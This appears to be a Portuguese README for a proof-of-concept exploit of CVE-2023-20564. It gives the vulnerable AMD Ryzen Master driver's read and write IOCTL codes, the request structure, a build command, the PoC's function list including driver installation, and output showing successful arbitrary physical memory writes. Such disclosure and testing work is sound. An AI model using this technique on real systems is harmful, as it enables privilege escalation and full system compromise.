
Exploit de prova de conceito para CVE-2023-20564 demonstrando leitura/escrita arbitrária de memória física através de manipuladores IOCTL do driver AMD Ryzen Master, permitindo escalonamento de privilégio no Windows.
Este repositório contém uma Prova de Conceito (PoC) demonstrando a vulnerabilidade CVE-2023-20564 no Driver AMD Ryzen Master. A vulnerabilidade permite que usuários sem privilégios leiam e escrevam memória física arbitrária, levando a um possível escalonamento de privilégios e comprometimento do sistema.
O driver AMD Ryzen Master (AMDRyzenMasterDriverV17.sys) contém validação insuficiente em seus manipuladores IOCTL, especificamente:
0x81112F08 - Permite ler memória física arbitrária0x81112F0C - Permite escrever memória física arbitráriaO driver não valida adequadamente:
Isso permite que aplicativos maliciosos:
AMDRyzenMasterDriverV17.sys - O arquivo de driver vulnerável# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Physical address to read
LARGE_INTEGER SizeAndData; // Size and data buffer
CHAR Buffer[1]; // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() - Ler da memória físicaWritePhysicalMemory() - Escrever na memória físicaTestReadWriteVerify() - Sequência de teste completaInstallDriverService() - Instalação do driverStopAndRemoveDriverService() - Limpeza do driver===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully
[*] Initializing driver connection...
[+] Driver connection established successfully
[!] TESTING READ/WRITE/VERIFY SEQUENCE
[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Read 8 bytes from 0x100000
Data: 4D 5A 90 00 03 00 00 00
[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
Wrote 8 bytes to 0x100000
[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Data: DE AD BE EF CA FE BA BE
[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!
O driver vulnerável expõe dois IOCTLs principais:
Physical Memory Read (0x81112F08)
Physical Memory Write (0x81112F0C)
Lembre-se: Esta ferramenta é apenas para testes de segurança autorizados. Sempre obtenha a devida permissão antes de testar em qualquer sistema.